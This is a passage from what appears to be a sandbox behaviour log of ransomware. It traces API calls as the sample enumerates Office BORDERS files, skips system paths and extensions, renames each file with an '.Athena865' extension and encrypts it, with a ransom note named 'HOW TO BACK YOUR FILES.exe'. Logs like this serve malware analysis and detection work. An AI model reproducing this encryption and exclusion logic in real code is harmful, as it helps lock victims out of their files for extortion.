hHeap=0x4f0000) returned 1 [0151.986] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2=".") returned 1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="..") returned 1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="windows") returned -1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="bootmgr") returned 1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="temp") returned -1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="pagefile.sys") returned -1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="boot") returned 1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="ids.txt") returned 1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="ntuser.dat") returned -1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="perflogs") returned -1 [0151.986] lstrcmpiW (lpString1="MSART6.BDR", lpString2="MSBuild") returned -1 [0151.986] lstrlenW (lpString="MSART6.BDR") returned 10 [0151.986] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART6.BDR" | out: lpString1="MSART6.BDR") returned="MSART6.BDR" [0151.986] lstrlenW (lpString="MSART6.BDR") returned 10 [0151.986] lstrlenW (lpString="Athena865") returned 9 [0151.986] lstrcmpiW (lpString1="SART6.BDR", lpString2="Athena865") returned 1 [0151.986] lstrlenW (lpString=".dll") returned 4 [0151.987] lstrcmpiW (lpString1="MSART6.BDR", lpString2=".dll") returned 1 [0151.987] lstrlenW (lpString=".lnk") returned 4 [0151.987] lstrcmpiW (lpString1="MSART6.BDR", lpString2=".lnk") returned 1 [0151.987] lstrlenW (lpString=".ini") returned 4 [0151.987] lstrcmpiW (lpString1="MSART6.BDR", lpString2=".ini") returned 1 [0151.987] lstrlenW (lpString=".sys") returned 4 [0151.987] lstrcmpiW (lpString1="MSART6.BDR", lpString2=".sys") returned 1 [0151.987] lstrlenW (lpString="MSART6.BDR") returned 10 [0151.987] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.Athena865") returned 71 [0151.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.athena865"), dwFlags=0x1) returned 1 [0151.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.989] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55222) returned 1 [0151.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.989] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.990] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.990] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.990] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdac0, lpName=0x0) returned 0x17c [0151.991] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdac0) returned 0x100000 [0151.994] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.995] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.995] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.996] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.997] CloseHandle (hObject=0x17c) returned 1 [0151.997] CloseHandle (hObject=0x154) returned 1 [0151.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.997] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2=".") returned 1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="..") returned 1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="windows") returned -1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="bootmgr") returned 1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="temp") returned -1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="pagefile.sys") returned -1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="boot") returned 1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="ids.txt") returned 1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="ntuser.dat") returned -1 [0151.997] lstrcmpiW (lpString1="MSART7.BDR", lpString2="perflogs") returned -1 [0151.998] lstrcmpiW (lpString1="MSART7.BDR", lpString2="MSBuild") returned -1 [0151.998] lstrlenW (lpString="MSART7.BDR") returned 10 [0151.998] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART7.BDR" | out: lpString1="MSART7.BDR") returned="MSART7.BDR" [0151.998] lstrlenW (lpString="MSART7.BDR") returned 10 [0151.998] lstrlenW (lpString="Athena865") returned 9 [0151.998] lstrcmpiW (lpString1="SART7.BDR", lpString2="Athena865") returned 1 [0151.998] lstrlenW (lpString=".dll") returned 4 [0151.998] lstrcmpiW (lpString1="MSART7.BDR", lpString2=".dll") returned 1 [0151.998] lstrlenW (lpString=".lnk") returned 4 [0151.998] lstrcmpiW (lpString1="MSART7.BDR", lpString2=".lnk") returned 1 [0151.998] lstrlenW (lpString=".ini") returned 4 [0151.998] lstrcmpiW (lpString1="MSART7.BDR", lpString2=".ini") returned 1 [0151.998] lstrlenW (lpString=".sys") returned 4 [0151.998] lstrcmpiW (lpString1="MSART7.BDR", lpString2=".sys") returned 1 [0151.998] lstrlenW (lpString="MSART7.BDR") returned 10 [0151.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.Athena865") returned 71 [0151.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.athena865"), dwFlags=0x1) returned 1 [0152.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0152.000] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3876) returned 1 [0152.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0152.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.000] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.001] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.001] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.001] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1230, lpName=0x0) returned 0x17c [0152.002] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1230) returned 0x100000 [0152.003] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.004] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.004] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.005] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.005] CloseHandle (hObject=0x17c) returned 1 [0152.005] CloseHandle (hObject=0x154) returned 1 [0152.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0152.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.005] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0152.005] lstrcmpiW (lpString1="MSART8.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.005] lstrcmpiW (lpString1="MSART8.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.005] lstrcmpiW (lpString1="MSART8.BDR", lpString2=".") returned 1 [0152.005] lstrcmpiW (lpString1="MSART8.BDR", lpString2="..") returned 1 [0152.005] lstrcmpiW (lpString1="MSART8.BDR", lpString2="windows") returned -1 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2="bootmgr") returned 1 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2="temp") returned -1 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2="pagefile.sys") returned -1 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2="boot") returned 1 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2="ids.txt") returned 1 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2="ntuser.dat") returned -1 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2="perflogs") returned -1 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2="MSBuild") returned -1 [0152.006] lstrlenW (lpString="MSART8.BDR") returned 10 [0152.006] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART8.BDR" | out: lpString1="MSART8.BDR") returned="MSART8.BDR" [0152.006] lstrlenW (lpString="MSART8.BDR") returned 10 [0152.006] lstrlenW (lpString="Athena865") returned 9 [0152.006] lstrcmpiW (lpString1="SART8.BDR", lpString2="Athena865") returned 1 [0152.006] lstrlenW (lpString=".dll") returned 4 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2=".dll") returned 1 [0152.006] lstrlenW (lpString=".lnk") returned 4 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2=".lnk") returned 1 [0152.006] lstrlenW (lpString=".ini") returned 4 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2=".ini") returned 1 [0152.006] lstrlenW (lpString=".sys") returned 4 [0152.006] lstrcmpiW (lpString1="MSART8.BDR", lpString2=".sys") returned 1 [0152.006] lstrlenW (lpString="MSART8.BDR") returned 10 [0152.006] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.Athena865") returned 71 [0152.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.athena865"), dwFlags=0x1) returned 1 [0152.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0152.008] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49098) returned 1 [0152.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0152.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.008] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.009] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.009] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.010] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2d0, lpName=0x0) returned 0x17c [0152.011] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2d0) returned 0x100000 [0152.014] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.015] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.015] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.015] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.016] CloseHandle (hObject=0x17c) returned 1 [0152.016] CloseHandle (hObject=0x154) returned 1 [0152.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0152.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.016] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0152.016] lstrcmpiW (lpString1="MSART9.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2=".") returned 1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="..") returned 1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="windows") returned -1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="bootmgr") returned 1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="temp") returned -1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="pagefile.sys") returned -1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="boot") returned 1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="ids.txt") returned 1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="ntuser.dat") returned -1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="perflogs") returned -1 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2="MSBuild") returned -1 [0152.017] lstrlenW (lpString="MSART9.BDR") returned 10 [0152.017] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART9.BDR" | out: lpString1="MSART9.BDR") returned="MSART9.BDR" [0152.017] lstrlenW (lpString="MSART9.BDR") returned 10 [0152.017] lstrlenW (lpString="Athena865") returned 9 [0152.017] lstrcmpiW (lpString1="SART9.BDR", lpString2="Athena865") returned 1 [0152.017] lstrlenW (lpString=".dll") returned 4 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2=".dll") returned 1 [0152.017] lstrlenW (lpString=".lnk") returned 4 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2=".lnk") returned 1 [0152.017] lstrlenW (lpString=".ini") returned 4 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2=".ini") returned 1 [0152.017] lstrlenW (lpString=".sys") returned 4 [0152.017] lstrcmpiW (lpString1="MSART9.BDR", lpString2=".sys") returned 1 [0152.017] lstrlenW (lpString="MSART9.BDR") returned 10 [0152.017] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.Athena865") returned 71 [0152.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.athena865"), dwFlags=0x1) returned 1 [0152.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0152.019] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50838) returned 1 [0152.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0152.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.020] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.020] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.020] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.020] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc9a0, lpName=0x0) returned 0x17c [0152.022] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc9a0) returned 0x100000 [0152.025] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.025] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.025] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.026] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.027] CloseHandle (hObject=0x17c) returned 1 [0152.027] CloseHandle (hObject=0x154) returned 1 [0152.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0152.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.027] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, 